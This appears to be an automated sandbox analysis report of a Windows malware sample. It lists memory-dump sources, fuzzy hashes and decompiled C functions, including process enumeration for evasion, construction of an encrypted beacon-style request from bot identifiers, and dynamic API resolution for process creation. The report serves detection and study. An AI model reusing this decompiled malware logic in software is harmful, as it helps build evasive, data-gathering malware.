0x033d58a1
0x033d58a4
0x033d58c4
0x033d58a6
0x033d58a6
0x00000000
0x033d58a6
0x033d58a4
0x033d58cb
0x033d58d1
0x033d58d1
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 033D58BA

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f86f82a7afed6beada5edfe8ee50c53a750bcdf7582c75ed3d7a99d2eb89fdea
Instruction ID: 177e88dcfac0681e6f39078b5a6eabafa45d996a8ae93773de72d581eedcef97
Opcode Fuzzy Hash: f86f82a7afed6beada5edfe8ee50c53a750bcdf7582c75ed3d7a99d2eb89fdea
Instruction Fuzzy Hash: F4F0EC76D01218EFEB00DB94E888AEDB7B8EF05306F1484AAE512A7140D7B45B84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 033D1AF1, Relevance: 1.3, APIs: 1, Instructions: 36
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E033D1AF1(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E033D35A1( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E033D5C4E(_a8 + _a8);
					if(_t21 != 0) {
						E033D4502(_a4, _t21, _t23);
					}
					E033D2A03(_a4);
				}
				return _t21;
			}

0x033d1af9
0x033d1b00
0x033d1b02
0x033d1b11
0x033d1b18
0x033d1b27
0x033d1b2b
0x033d1b32
0x033d1b32
0x033d1b3a
0x033d1b3f
0x033d1b44

APIs

lstrlen.KERNEL32(00000000,00000000,033D6301,00000000,?,033D5B47,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D1B02

Part of subcall function 033D35A1: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,033D1B16,00000001,033D6301,00000000), ref: 033D35D9
Part of subcall function 033D35A1: memcpy.NTDLL(033D1B16,033D6301,00000010,?,?,?,033D1B16,00000001,033D6301,00000000,?,033D5B47,00000000,033D6301,?,00000000), ref: 033D35F2
Part of subcall function 033D35A1: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 033D361B
Part of subcall function 033D35A1: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 033D3633
Part of subcall function 033D35A1: memcpy.NTDLL(00000000,00000000,05A49630,00000010), ref: 033D3685

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
String ID:
API String ID: 894908221-0
Opcode ID: 97fa31be8277a32d317e101fb7864996227f062aed8e69636ff8e897fb036dce
Instruction ID: 84186fd97c138d906c4ee443fe8f55f9cdb2a010eb8d7753053019d27b22fe7b
Opcode Fuzzy Hash: 97fa31be8277a32d317e101fb7864996227f062aed8e69636ff8e897fb036dce
Instruction Fuzzy Hash: A2F0F47B500108BBDF11AE65EC80DDB7B6DEF85364B058011FD19CA114DB71DA5597A0

Uniqueness

Uniqueness Score: -1.00%

Function 033D45E6, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033D45E6(void* __edx, void* __edi, void* _a4) {
				int _t7;
				int _t13;

				_t7 = E033D1896(__edx, __edi, _a4,  &_a4); // executed
				_t13 = _t7;
				if(_t13 != 0) {
					memcpy(__edi, _a4, _t13);
					 *((char*)(__edi + _t13)) = 0;
					E033D2A03(_a4);
				}
				return _t13;
			}

0x033d45f2
0x033d45f7
0x033d45fb
0x033d4602
0x033d460d
0x033d4611
0x033d4611
0x033d461a

APIs

Part of subcall function 033D1896: memcpy.NTDLL(00000000,00000110,033D1C1F,033D1C1F,?,?,033D1C1F,?,?,033D24E4,?), ref: 033D18CC
Part of subcall function 033D1896: memset.NTDLL ref: 033D1942
Part of subcall function 033D1896: memset.NTDLL ref: 033D1956

memcpy.NTDLL(033D1C1F,033D1C1F,00000000,033D1C1F,033D1C1F,033D1C1F,?,?,033D24E4,?,?,033D1C1F,?), ref: 033D4602

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: 7d9ae11f758df14eb32432736e3baa9f6ba8b53720bad78e7208944919bdcff0
Instruction ID: d8909f4307018b51c2aaea7b014086cfec8ef970db55e569908dbcb1755a5bc9
Opcode Fuzzy Hash: 7d9ae11f758df14eb32432736e3baa9f6ba8b53720bad78e7208944919bdcff0
Instruction Fuzzy Hash: 98E0467BC002287BCB22AA95AC80AEBBF5C8B45691F044420FE088E200EA31862093E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DD6F574, Relevance: 66.4, APIs: 44, Instructions: 432COMMON

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 6DD6F5AB
___getlocaleinfo.LIBCMT ref: 6DD6F5C0
___getlocaleinfo.LIBCMT ref: 6DD6F5D5
___getlocaleinfo.LIBCMT ref: 6DD6F5EA
___getlocaleinfo.LIBCMT ref: 6DD6F602
___getlocaleinfo.LIBCMT ref: 6DD6F617
___getlocaleinfo.LIBCMT ref: 6DD6F629
___getlocaleinfo.LIBCMT ref: 6DD6F63E
___getlocaleinfo.LIBCMT ref: 6DD6F656
___getlocaleinfo.LIBCMT ref: 6DD6F66B

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 1292dd35ec3191d005f7a258ba019026780381556e0f9dfe3b84806f3d4b0144
Instruction ID: fae0ff54a5867adab8a3bf17088fa8c3dbaebceda880e9215e7a3a68fcad9556
Opcode Fuzzy Hash: 1292dd35ec3191d005f7a258ba019026780381556e0f9dfe3b84806f3d4b0144
Instruction Fuzzy Hash: 5AE1BDB290025DFEEF21DBE1CC80DFF77BDEB88748F15092AB25592040EA75AA159770

Uniqueness

Uniqueness Score: -1.00%

Function 033D19E7, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E033D19E7() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x33da2d0; // 0x266d5a8
						_t2 = _t9 + 0x33dbe04; // 0x73617661
						_push( &_v264);
						if( *0x33da11c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x033d19f2
0x033d19fc
0x033d1a00
0x033d1a0a
0x033d1a3b
0x033d1a11
0x033d1a16
0x033d1a23
0x033d1a2c
0x033d1a43
0x033d1a2e
0x033d1a36
0x00000000
0x033d1a36
0x033d1a44
0x033d1a45
0x00000000
0x033d1a45
0x00000000
0x033d1a3f
0x033d1a4b
0x033d1a50

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 033D19F7
Process32First.KERNEL32(00000000,?), ref: 033D1A0A
Process32Next.KERNEL32(00000000,?), ref: 033D1A36
CloseHandle.KERNEL32(00000000), ref: 033D1A45

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0f2bf7ddea293bb259b1408339cda7979482d1db756b1b8894cbd82cbf751135
Instruction ID: fe313ff17a0178f917df6ad7576763227b49e773801636b2a5836fbe57b9e47f
Opcode Fuzzy Hash: 0f2bf7ddea293bb259b1408339cda7979482d1db756b1b8894cbd82cbf751135
Instruction Fuzzy Hash: 32F090779051246BD7A0E676BCC9EEB76BCEB85310F0001A2E91AD3044EA249A5A86A1

Uniqueness

Uniqueness Score: -1.00%

Function 033D6124, Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 220
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E033D6124(long __eax, void* __edx, intOrPtr _a8, intOrPtr _a12, void* _a20, intOrPtr _a28) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v24;
				intOrPtr _v40;
				void* __ecx;
				void* __edi;
				intOrPtr _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t38;
				intOrPtr _t39;
				int _t42;
				void* _t43;
				intOrPtr _t44;
				intOrPtr _t48;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr* _t68;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr _t84;
				int _t87;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t92;
				int _t95;
				void* _t98;
				void* _t99;
				void* _t103;
				intOrPtr _t105;
				long _t107;
				intOrPtr _t108;
				intOrPtr* _t109;
				long _t110;
				int _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				void* _t121;

				_t103 = __edx;
				_t110 = __eax;
				_v8 = 8;
				_t117 = RtlAllocateHeap( *0x33da290, 0, 0x800);
				if(_t117 != 0) {
					if(_t110 == 0) {
						_t110 = GetTickCount();
					}
					_t31 =  *0x33da018; // 0x68e76c41
					asm("bswap eax");
					_t32 =  *0x33da014; // 0x5cb11ae7
					asm("bswap eax");
					_t33 =  *0x33da010; // 0x15dc9586
					asm("bswap eax");
					_t34 =  *0x33da00c; // 0x69ab8210
					asm("bswap eax");
					_t35 =  *0x33da2d0; // 0x266d5a8
					_t2 = _t35 + 0x33db622; // 0x74666f73
					_t111 = wsprintfA(_t117, _t2, 2, 0x3d14c, _t34, _t33, _t32, _t31,  *0x33da02c,  *0x33da004, _t110);
					_t38 = E033D271A();
					_t39 =  *0x33da2d0; // 0x266d5a8
					_t3 = _t39 + 0x33db662; // 0x74707526
					_t42 = wsprintfA(_t111 + _t117, _t3, _t38);
					_t120 = _t118 + 0x38;
					_t112 = _t111 + _t42;
					if(_a12 != 0) {
						_t92 =  *0x33da2d0; // 0x266d5a8
						_t7 = _t92 + 0x33db66d; // 0x732526
						_t95 = wsprintfA(_t112 + _t117, _t7, _a12);
						_t120 = _t120 + 0xc;
						_t112 = _t112 + _t95;
					}
					_t43 = E033D2956(_t99);
					_t44 =  *0x33da2d0; // 0x266d5a8
					_t9 = _t44 + 0x33db38a; // 0x6d697426
					_t113 = _t112 + wsprintfA(_t112 + _t117, _t9, _t43, _t103);
					_t48 =  *0x33da2d0; // 0x266d5a8
					_t11 = _t48 + 0x33db33b; // 0x74636126
					_t114 = _t113 + wsprintfA(_t113 + _t117, _t11, 0);
					_t52 =  *0x33da328; // 0x5a495b0
					_t121 = _t120 + 0x1c;
					if(_t52 != 0) {
						_t88 =  *0x33da2d0; // 0x266d5a8
						_t13 = _t88 + 0x33db685; // 0x73797326
						_t91 = wsprintfA(_t114 + _t117, _t13, _t52);
						_t121 = _t121 + 0xc;
						_t114 = _t114 + _t91;
					}
					_t105 =  *0x33da37c; // 0x5a49630
					_a28 = E033D5741(0x33da00a, _t105 + 4);
					_t55 =  *0x33da318; // 0x5a495e0
					_t107 = 0;
					if(_t55 != 0) {
						_t84 =  *0x33da2d0; // 0x266d5a8
						_t16 = _t84 + 0x33db8ea; // 0x3d736f26
						_t87 = wsprintfA(_t114 + _t117, _t16, _t55);
						_t121 = _t121 + 0xc;
						_t114 = _t114 + _t87;
					}
					_t56 =  *0x33da314; // 0x0
					if(_t56 != _t107) {
						_t81 =  *0x33da2d0; // 0x266d5a8
						_t18 = _t81 + 0x33db8c1; // 0x3d706926
						wsprintfA(_t114 + _t117, _t18, _t56);
					}
					if(_a28 != _t107) {
						_t98 = RtlAllocateHeap( *0x33da290, _t107, 0x800);
						if(_t98 != _t107) {
							E033D1A51(GetTickCount());
							_t62 =  *0x33da37c; // 0x5a49630
							__imp__(_t62 + 0x40);
							asm("lock xadd [eax], ecx");
							_t66 =  *0x33da37c; // 0x5a49630
							__imp__(_t66 + 0x40);
							_t68 =  *0x33da37c; // 0x5a49630
							_t115 = E033D5AE3(1, _t103, _t117,  *_t68);
							asm("lock xadd [eax], ecx");
							if(_t115 != _t107) {
								StrTrimA(_t115, 0x33d92cc);
								_push(_t115);
								_t108 = E033D2829();
								_v4 = _t108;
								if(_t108 != 0) {
									 *_t115 = 0;
									__imp__(_t98, _a8);
									_t109 = __imp__;
									 *_t109(_t98, _t108);
									 *_t109(_t98, _t115);
									_t78 = E033D3B46(0xffffffffffffffff, _t98, _v12, _v8);
									_v40 = _t78;
									if(_t78 != 0 && _t78 != 0x10d2) {
										E033D2813();
									}
									HeapFree( *0x33da290, 0, _v24);
								}
								HeapFree( *0x33da290, 0, _t115);
								_t107 = 0;
							}
							HeapFree( *0x33da290, _t107, _t98);
						}
						HeapFree( *0x33da290, _t107, _a20);
					}
					HeapFree( *0x33da290, _t107, _t117);
				}
				return _v16;
			}

0x033d6124
0x033d6138
0x033d613a
0x033d6148
0x033d614c
0x033d6154
0x033d615c
0x033d615c
0x033d615e
0x033d616a
0x033d6179
0x033d617e
0x033d6181
0x033d6186
0x033d6189
0x033d618e
0x033d6191
0x033d619d
0x033d61aa
0x033d61ac
0x033d61b2
0x033d61b7
0x033d61c2
0x033d61c4
0x033d61c7
0x033d61cd
0x033d61cf
0x033d61d8
0x033d61e3
0x033d61e5
0x033d61e8
0x033d61e8
0x033d61ea
0x033d61f1
0x033d61f6
0x033d6203
0x033d6205
0x033d620a
0x033d6218
0x033d621a
0x033d621f
0x033d6224
0x033d6227
0x033d622c
0x033d6237
0x033d6239
0x033d623c
0x033d623c
0x033d623e
0x033d6251
0x033d6255
0x033d625a
0x033d625e
0x033d6261
0x033d6266
0x033d6271
0x033d6273
0x033d6276
0x033d6276
0x033d6278
0x033d627f
0x033d6282
0x033d6287
0x033d6291
0x033d6293
0x033d629a
0x033d62b2
0x033d62b6
0x033d62c2
0x033d62c7
0x033d62d0
0x033d62e1
0x033d62e5
0x033d62ee
0x033d62f4
0x033d6301
0x033d630e
0x033d6314
0x033d631c
0x033d6322
0x033d6328
0x033d632c
0x033d6330
0x033d6336
0x033d633a
0x033d6341
0x033d6348
0x033d634c
0x033d6357
0x033d635e
0x033d6362
0x033d636b
0x033d636b
0x033d637c
0x033d637c
0x033d638b
0x033d6391
0x033d6391
0x033d639b
0x033d639b
0x033d63ac
0x033d63ac
0x033d63ba
0x033d63ba
0x033d63ca

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,?), ref: 033D6142
GetTickCount.KERNEL32 ref: 033D6156
wsprintfA.USER32 ref: 033D61A5
wsprintfA.USER32 ref: 033D61C2
wsprintfA.USER32 ref: 033D61E3
wsprintfA.USER32 ref: 033D6201
wsprintfA.USER32 ref: 033D6216
wsprintfA.USER32 ref: 033D6237
wsprintfA.USER32 ref: 033D6271
wsprintfA.USER32 ref: 033D6291
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 033D62AC
GetTickCount.KERNEL32 ref: 033D62BC
RtlEnterCriticalSection.NTDLL(05A495F0), ref: 033D62D0
RtlLeaveCriticalSection.NTDLL(05A495F0), ref: 033D62EE

Part of subcall function 033D5AE3: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B0E
Part of subcall function 033D5AE3: lstrlen.KERNEL32(00000000,?,00000000,033D6301,00000000,05A49630), ref: 033D5B16
Part of subcall function 033D5AE3: strcpy.NTDLL ref: 033D5B2D
Part of subcall function 033D5AE3: lstrcat.KERNEL32(00000000,00000000), ref: 033D5B38
Part of subcall function 033D5AE3: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D5B55

StrTrimA.SHLWAPI(00000000,033D92CC,00000000,05A49630), ref: 033D631C

Part of subcall function 033D2829: lstrlen.KERNEL32(05A4887A,00000000,00000000,00000000,033D6328,00000000), ref: 033D2839
Part of subcall function 033D2829: lstrlen.KERNEL32(?), ref: 033D2841
Part of subcall function 033D2829: lstrcpy.KERNEL32(00000000,05A4887A), ref: 033D2855
Part of subcall function 033D2829: lstrcat.KERNEL32(00000000,?), ref: 033D2860

lstrcpy.KERNEL32(00000000,?), ref: 033D633A
lstrcat.KERNEL32(00000000,00000000), ref: 033D6348
lstrcat.KERNEL32(00000000,00000000), ref: 033D634C
HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 033D637C
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 033D638B
HeapFree.KERNEL32(00000000,00000000,00000000,05A49630), ref: 033D639B
HeapFree.KERNEL32(00000000,?), ref: 033D63AC
HeapFree.KERNEL32(00000000,00000000), ref: 033D63BA

Strings

Alh, xrefs: 033D615E

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: wsprintf$Heap$Free$lstrcatlstrlen$AllocateCountCriticalSectionTickTrimlstrcpy$EnterLeavestrcpy
String ID: Alh
API String ID: 1837416118-2065183738
Opcode ID: 6033f97d36c937b0aff6902b1a21a8e937dee08e55f51809dc29f739c56e5ea0
Instruction ID: f7397742ab67427c1405c72bd3aeed0cfd694d6e640bd30f87741418010f4905
Opcode Fuzzy Hash: 6033f97d36c937b0aff6902b1a21a8e937dee08e55f51809dc29f739c56e5ea0
Instruction Fuzzy Hash: A0719CB2505204AFC721FB69FCC8E5777EDEB88310F090515F859C3254D73AE9299BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6B977, Relevance: 15.1, APIs: 10, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 6DD6B990

Part of subcall function 6DD69388: __calloc_impl.LIBCMT ref: 6DD69399

__calloc_crt.LIBCMT ref: 6DD6B9B4
__calloc_crt.LIBCMT ref: 6DD6B9D0
__copytlocinfo_nolock.LIBCMT ref: 6DD6B9F5
__setlocale_nolock.LIBCMT ref: 6DD6BA02
___removelocaleref.LIBCMT ref: 6DD6BA0E
___freetlocinfo.LIBCMT ref: 6DD6BA15
__setmbcp_nolock.LIBCMT ref: 6DD6BA2D
___removelocaleref.LIBCMT ref: 6DD6BA42
___freetlocinfo.LIBCMT ref: 6DD6BA49

Memory Dump Source

Source File: 00000004.00000002.507411430.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3967206232-0
Opcode ID: 7632a1292caa8da20a693bbbb0c8e44d2d72a26af453f580c9b1857d28883160
Instruction ID: 15eefe075666593c55b673f6546d389cf8e8c81169e50c58b8e5bd0f711f73b6
Opcode Fuzzy Hash: 7632a1292caa8da20a693bbbb0c8e44d2d72a26af453f580c9b1857d28883160
Instruction Fuzzy Hash: 2C21D63514C691EBD7267F68D800E5A77E5EF8A734F23841AF6C95A1A4DF31D80086F1

Uniqueness

Uniqueness Score: -1.00%

Function 033D762C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E033D762C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x33da38c; // 0x5a49cd0
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E033D5F43(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x33d91cc;
				}
				_t46 = E033D43FD(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E033D5C4E(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x33da2d0; // 0x266d5a8
						_t16 = _t75 + 0x33dbad8; // 0x530025
						 *0x33da13c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E033D5F43(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x33d91d0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E033D5C4E(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E033D2A03(_v20);
						} else {
							_t66 =  *0x33da2d0; // 0x266d5a8
							_t31 = _t66 + 0x33dbbf8; // 0x73006d
							 *0x33da13c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E033D2A03(_v12);
				}
				return _v24;
			}

0x033d7634
0x033d763a
0x033d7641
0x033d7647
0x033d764b
0x033d764f
0x033d7652
0x033d7659
0x033d765c
0x033d765e
0x033d765e
0x033d7667
0x033d766e
0x033d7671
0x033d7677
0x033d7681
0x033d768a
0x033d7691
0x033d76aa
0x033d76b1
0x033d76b4
0x033d76bd
0x033d76c6
0x033d76d7
0x033d76e0
0x033d76e4
0x033d76e8
0x033d76ef
0x033d76f2
0x033d76f4
0x033d76f4
0x033d76fe
0x033d7707
0x033d770e
0x033d7726
0x033d772a
0x033d7767
0x033d772c
0x033d772f
0x033d7737
0x033d7748
0x033d7754
0x033d775c
0x033d7760
0x033d7760
0x033d772a
0x033d776f
0x033d7774
0x033d777b

APIs

GetTickCount.KERNEL32 ref: 033D7641
lstrlen.KERNEL32(?,80000002,00000005), ref: 033D7681
lstrlen.KERNEL32(00000000), ref: 033D768A
lstrlen.KERNEL32(00000000), ref: 033D7691
lstrlenW.KERNEL32(80000002), ref: 033D769E
lstrlen.KERNEL32(?,00000004), ref: 033D76FE
lstrlen.KERNEL32(?), ref: 033D7707
lstrlen.KERNEL32(?), ref: 033D770E
lstrlenW.KERNEL32(?), ref: 033D7715

Part of subcall function 033D2A03: RtlFreeHeap.NTDLL(00000000,00000000,033D4072,00000000,?,?,00000000,?,?,?,?,?,?,033D44AE,00000000), ref: 033D2A0F

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: b1c8aa6408808cca1aee27f8e365c4739d94ad0590e394d816ddda9134de18ec
Instruction ID: 50f703211f36b5600735764bd30d20d8b5f278d6dec62e689a755294fd55dd5c
Opcode Fuzzy Hash: b1c8aa6408808cca1aee27f8e365c4739d94ad0590e394d816ddda9134de18ec
Instruction Fuzzy Hash: 45414C76D00219FBCF11EFA4ED84A9EBBB9EF44304F054091ED05A7251D7359A25EB90

Uniqueness

Uniqueness Score: -1.00%

Function 033D7836, Relevance: 13.6, APIs: 9, Instructions: 110
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E033D7836(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t39;
				intOrPtr _t43;
				intOrPtr _t50;
				void* _t52;
				intOrPtr _t53;
				void* _t61;
				intOrPtr* _t66;
				intOrPtr* _t73;
				intOrPtr* _t76;

				_t1 = __eax + 0x14; // 0x74183966
				_t71 =  *_t1;
				_t39 = E033D71A3(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t39;
				if(_t39 != 0) {
					L12:
					return _v8;
				}
				E033D7973( *((intOrPtr*)(_t71 + 0xc)),  *((intOrPtr*)(_t71 + 8)), _v12);
				_t43 = _v12(_v12);
				_v8 = _t43;
				if(_t43 == 0 && ( *0x33da2b8 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t50 =  *0x33da2d0; // 0x266d5a8
					_t18 = _t50 + 0x33db55b; // 0x73797325
					_t52 = E033D1000(_t18);
					_v12 = _t52;
					if(_t52 == 0) {
						_v8 = 8;
					} else {
						_t53 =  *0x33da2d0; // 0x266d5a8
						_t20 = _t53 + 0x33db73d; // 0x5a48ce5
						_t21 = _t53 + 0x33db0af; // 0x4e52454b
						_t66 = GetProcAddress(GetModuleHandleA(_t21), _t20);
						if(_t66 == 0) {
							_v8 = 0x7f;
						} else {
							_t73 = __imp__;
							_v108 = 0x44;
							 *_t73(0);
							_t61 =  *_t66(0, _v12, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32);
							 *_t73(1);
							if(_t61 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x33da290, 0, _v12);
					}
				}
				_t76 = _v16;
				 *((intOrPtr*)(_t76 + 0x18))( *((intOrPtr*)(_t76 + 0x1c))( *_t76));
				E033D2A03(_t76);
				goto L12;
			}

0x033d783f
0x033d783f
0x033d784d
0x033d7856
0x033d7859
0x033d796b
0x033d7972
0x033d7972
0x033d7868
0x033d7870
0x033d7875
0x033d7878
0x033d788d
0x033d7893
0x033d7894
0x033d7897
0x033d789d
0x033d78a0
0x033d78a5
0x033d78ad
0x033d78b4
0x033d78bb
0x033d78be
0x033d7952
0x033d78c4
0x033d78c4
0x033d78c9
0x033d78d0
0x033d78e4
0x033d78e8
0x033d7939
0x033d78ea
0x033d78ea
0x033d78f1
0x033d78f8
0x033d7910
0x033d7916
0x033d791a
0x033d7934
0x033d791c
0x033d7925
0x033d792a
0x033d792a
0x033d791a
0x033d794a
0x033d794a
0x033d78be
0x033d7959
0x033d7962
0x033d7966
0x00000000

APIs

Part of subcall function 033D71A3: GetModuleHandleA.KERNEL32(4C44544E,00000020,74183966,00000000,00000000,?,?,?,033D7852,?,?,?,?,00000000,00000000), ref: 033D71C8
Part of subcall function 033D71A3: GetProcAddress.KERNEL32(00000000,7243775A), ref: 033D71EA
